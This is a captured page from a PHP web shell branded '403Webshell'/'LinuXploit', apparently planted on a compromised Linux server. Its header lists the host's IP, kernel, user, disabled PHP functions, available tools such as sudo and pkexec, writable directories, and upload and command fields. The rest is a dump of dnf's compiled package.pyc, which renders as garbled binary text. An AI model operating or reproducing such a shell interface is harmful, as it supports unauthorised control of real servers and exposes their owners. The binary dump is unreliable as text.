403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.12/site-packages/dnf/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.12/site-packages/dnf/__pycache__/package.cpython-312.opt-1.pyc
�

�j&,����dZddlmZddlmZddlmZddlZddlZddl	Zddl
ZddlZddlZ
ddlZ
ddlZddlZddlZej$d�ZGd�dej(�Zy)	z! Contains the dnf.Package class. �)�absolute_import)�unicode_literals)�_N�dnfc�\��eZdZdZdZdZ�fd�Ze�fd��Zejd��Zed��Z
ed��Zed	��Zed
��Z
ed��Ze�fd��Zejd
��Zed��Zed��Zed��Zed��Zd�Zed��Zed��Zed��Zed��Zed��Zejd��Zed��Zed��Zed��Zed��Zed��Zed��Zed��Z d �Z!d!�Z"d"�Z#d#�Z$d$�Z%d*d%�Z&d&�Z'ed'��Z(d(�Z)d)�Z*�xZ+S)+�Packagez Represents a package. #:api z
-debuginfoz-debugsourcec�d��tt|�|�||_d|_d|_d|_y�N)�superr�__init__�base�_priv_chksum�_repo�
_priv_size)�self�
initobjectr
�	__class__s   ��0/usr/lib/python3.12/site-packages/dnf/package.pyrzPackage.__init__0s/���
�g�t�%�j�1���	� �����
����c���|jr|jS|jr}tjjj�}	tjj||j�}tj |�t#j$|�fSt&t(|�VS#tjj$r-}tjjt|���d}~wwxYwr
)r�
_from_cmdliner�yum�misc�get_default_chksum_type�libdnf�utils�checksum_value�location�error�Error�
exceptions�	MiscError�str�hawkey�chksum_type�binascii�	unhexlifyrr�chksum)rr%�
chksum_val�ers    �r�_chksumzPackage._chksum7s��������$�$�$�����'�'�,�,�>�>�@�K�
7�#�\�\�8�8��d�m�m�T�
��&�&�{�3��&�&�z�2�4�
4��W�d�*�*��	�<�<�%�%�
7��n�n�.�.�s�1�v�6�6��
7�s�*B1�1C;�(C6�6C;c��||_yr
)r�r�vals  rr+zPackage._chksumEs
����rc�<�|jtjk(Sr
)�reponamer$�CMDLINE_REPO_NAME�rs rrzPackage._from_cmdlineIs���}�}�� 8� 8�8�8rc�<�|jtjk(Sr
)r0r$�SYSTEM_REPO_NAMEr2s r�_from_systemzPackage._from_systemMs���}�}�� 7� 7�7�7rc��d}|jr%|jjj|�}|rd|zS|jS)a9
        For installed packages returns id of repository from which the package was installed
        prefixed with '@' (if such information is available in the history database). Otherwise
        returns id of repository the package belongs to (@System for installed packages of unknown
        origin)
        N�@)r5r
�history�repor0)r�pkgrepos  r�
_from_repozPackage._from_repoQsC��������i�i�'�'�,�,�T�2�G����=� ��}�}�rc�f�|jr%|jjj|�Sy)N�)r5r
r8r9r2s r�	from_repozPackage.from_repo`s+������9�9�$�$�)�)�$�/�/�rc�\�tjj|j��S)z�
        Returns the header of a locally present rpm package file. As opposed to
        self.get_header(), which retrieves the header of an installed package
        from rpmdb.
        )r�rpm�_header�localPkgr2s rrAzPackage._headergs���w�w���t�}�}��/�/rc�P��|jr|jStt|�Sr
)rrr�size)rrs �r�_sizez
Package._sizeps!����?�?��?�?�"��W�d�(�(rc��||_yr
)rr-s  rrEz
Package._sizevs	����rc�d�|j�y|j\}}tj|�Sr
)�
hdr_chksumr&�hexlify)rrr(s   r�_pkgidzPackage._pkgidzs-���?�?�"���o�o���F�����'�'rc��|j�Atjj|jd�}|j	dd�d}|Sd}|S)zO
        returns name of source package
        e.g. krb5-libs -> krb5
        Nz.src.rpm�-�r)�	sourcerpmr�util�rtrim�rsplit)r�srcnames  r�source_namezPackage.source_name�sP���>�>�%��h�h�n�n�T�^�^�Z�@�G��n�n�S�!�,�Q�/�G����G��rc��|jj|j�r|jS|j}|jj|j�r|dt	|j�}||jzS)a)
        Returns name of the debuginfo package for this package.
        If this package is a debuginfo package, returns its name.
        If this package is a debugsource package, returns the debuginfo package
        for the base package.
        e.g. kernel-PAE -> kernel-PAE-debuginfo
        N)�name�endswith�DEBUGINFO_SUFFIX�DEBUGSOURCE_SUFFIX�len)rrUs  r�
debug_namezPackage.debug_name�ss���9�9���d�3�3�4��9�9���y�y���9�9���d�5�5�6��6�#�d�5�5�6�6�7�D��d�+�+�+�+rc�h�|j�|jn|j}||jzS)zv
        Returns name of the debugsource package for this package.
        e.g. krb5-libs -> krb5-debugsource
        )rSrUrX�r�src_names  r�debugsource_namezPackage.debugsource_name�s1��(,�'7�'7�'C�4�#�#������$�1�1�1�1rc��|jsy	t|jjj	t
j|j��S#t$r*tjjdt|���wxYw)a`
        Returns the rpm header of the package if it is installed. If not
        installed, returns None. The header is not cached, it is retrieved from
        rpmdb on every call. In case of a failure (e.g. when the rpmdb changes
        between loading the data and calling this method), raises an instance
        of PackageNotFoundError.
        Nz4Package not found when attempting to retrieve header)
r5�nextr
�_ts�dbMatchr@�RPMDBI_PACKAGES�rpmdbid�
StopIterationrr!�PackageNotFoundErrorr#r2s r�
get_headerzPackage.get_header�sp��� � ��	y���	�	�
�
�-�-�c�.A�.A�4�<�<�P�Q�Q���	y��.�.�5�5�6l�nq�rv�nw�x�x�	y�s�AA�3B	c�h�|j�|jn|j}||jzS)z�
        returns name of debuginfo package for source package of given package
        e.g. krb5-libs -> krb5-debuginfo
        )rSrUrWr\s  r�source_debug_namezPackage.source_debug_name�s1��(,�'7�'7�'C�4�#�#������$�/�/�/�/rc�,�t|j�S)z: Always type it to int, rpm bindings expect it like that. )�intrdr2s r�idxzPackage.idx�s���4�<�<� � rc��|jSr
�r0r2s r�repoidzPackage.repoid�����}�}�rc��|j|jt|j�|j|j
fSr
)rU�archr#r*�v�rr2s r�pkgtupzPackage.pkgtup�s+���	�	�4�9�9�c�$�&�&�k�4�6�6�4�6�6�B�Brc�x�|jr|jS|jj|jSr
)rr
�reposr0r2s rr9zPackage.repo�s*���:�:��:�:���y�y���t�}�}�-�-rc��||_yr
)rr-s  rr9zPackage.repo�s	����
rc��|jtjk7ry|jjj
j
|�Sr
)ror$r4r
r8r@�get_reason_namer2s r�reasonzPackage.reason�s8���;�;�&�1�1�1���y�y� � �$�$�4�4�T�:�:rc��|jSr
)rr2s r�relativepathzPackage.relativepath�rprc��|jSr
)rrr2s r�az	Package.a�s���y�y�rc��|jSr
)�epochr2s rr*z	Package.e�s���z�z�rc��|jSr
)�versionr2s rrsz	Package.v�����|�|�rc��|jSr
)�releaser2s rrtz	Package.r�r�rc��|jSr
rnr2s r�ui_from_repozPackage.ui_from_reporprc�*�|j|�dk(S�Nr��evr_cmp�r�pkgs  r�evr_eqzPackage.evr_eqs���|�|�C� �A�%�%rc�*�|j|�dkDSr�r�r�s  r�evr_gtzPackage.evr_gt	����|�|�C� �1�$�$rc�*�|j|�dkSr�r�r�s  r�evr_ltzPackage.evr_lt
r�rc��|jSr
)�medianrr2s r�
getDiscNumzPackage.getDiscNums���|�|�rc�*�|jr|jS|j}|jjj	�rd|j
rX|j
j
d�r=tjj|j�|jd��S|j�stjj|�}tjj|j|jd��S)z� Package's location in the filesystem.

            For packages in remote repo returns where the package will be/has
            been downloaded.
        �file://�/)rrr9r�isLocal�baseurl�
startswith�os�path�join�get_local_baseurl�lstrip�
_is_local_pkg�basename�pkgdir)r�locs  rrBzPackage.localPkgs�������=�=� ��m�m���9�9�?�?�"�"�$����$�,�,�:Q�:Q�R[�:\��7�7�<�<�� 6� 6� 8�#�*�*�S�/�J�J��!�!�#��'�'�"�"�3�'�C��w�w�|�|�D�K�K����C��9�9rc��|js|jry|jrCtjj|j|jjd��S|jj|j|�S)a
        The location from where the package can be downloaded from. Returns None for installed and
        commandline packages.

        :param schemes: list of allowed protocols. Default is ('http', 'ftp', 'file', 'https')
        :return: location (string) or None
        Nr�)
r5rr�r�r�r�rr�r9�remote_location)r�schemess  rr�zPackage.remote_location$sb������ 2� 2���<�<��7�7�<�<����d�m�m�.B�.B�3�.G�H�H��y�y�(�(�����@�@rc�,�|jryd|jvr|jjd�sy|jxsP|jj
j
�xr*|jxs|jjd�S)NTz://r�F)r5rr�rr9rr�r�r2s rr�zPackage._is_local_pkg3sx�������D�M�M�!�$�-�-�*B�*B�9�*M���!�!�e�
�Y�Y�_�_�
$�
$�
&�
c����,<�,b����@W�@W�Xa�@b�	erc���|jjj�r*|j�s|jj	�S|jj
Sr
)r9rr�r��cache_pkgdirr�r2s rr�zPackage.pkgdir<sD���I�I�O�O�#�#�%�d�.@�.@�.B��9�9�)�)�+�+��9�9�#�#�#rc��|j�y|j\}}tj|�tj|�j�fS)z] Return the chksum type and chksum string how the legacy yum expects
            it.
        )NN)r+r$�chksum_namer&rI�decode)rr%r(s   r�returnIdSumzPackage.returnIdSumDsI���<�<��� $�����f��"�"�;�/��1A�1A�&�1I�1P�1P�1R�S�Src�j�|jrtd��|jry|j�\}}	tj
j
||j�|�S#tjj$r-}tjjt|���d}~wwxYw)Nz$Can not verify an installed package.T)r5�
ValueErrorrr�rr�checksum_checkrBrr rr!r"r#)rr%r(r*s    r�verifyLocalPkgzPackage.verifyLocalPkgNs�������C�D�D����� $� 0� 0� 2���f�	3��<�<�.�.�{�D�M�M�O�V�T�T���|�|�!�!�	3��.�.�*�*�3�q�6�2�2��	3�s�.A(�(B2�(B-�-B2))�http�ftp�file�https),�__name__�
__module__�__qualname__�__doc__rWrXr�propertyr+�setterrr5r;r>rArErJrSrZr^rgrirlrorur9r{r}rr*rsrtr�r�r�r�r�rBr�r�r�r�r��
__classcell__)rs@rrr*sw���'�#��'����+��+�
�^�^� �� ��9��9��8��8����������0��0��)��)�
�\�\�����(��(�����&�,��,�$�2��2�y�"�0��0��!��!������C��C��.��.�

�[�[�����;��;�
������������������������&�%�%��
:�
A�e��$��$�T�	3rr)r��
__future__rr�dnf.i18nrr&�dnf.exceptionsr�dnf.rpm�dnf.yum.miscr$�libdnf.errorr�libdnf.utils�loggingr�r@�	getLogger�loggerr�rr�<module>r�sU��*(�&�'������
����	�
�	��	�	�5�	!��m3�f�n�n�m3r

Youez - 2016 - github.com/yon3zu
LinuXploit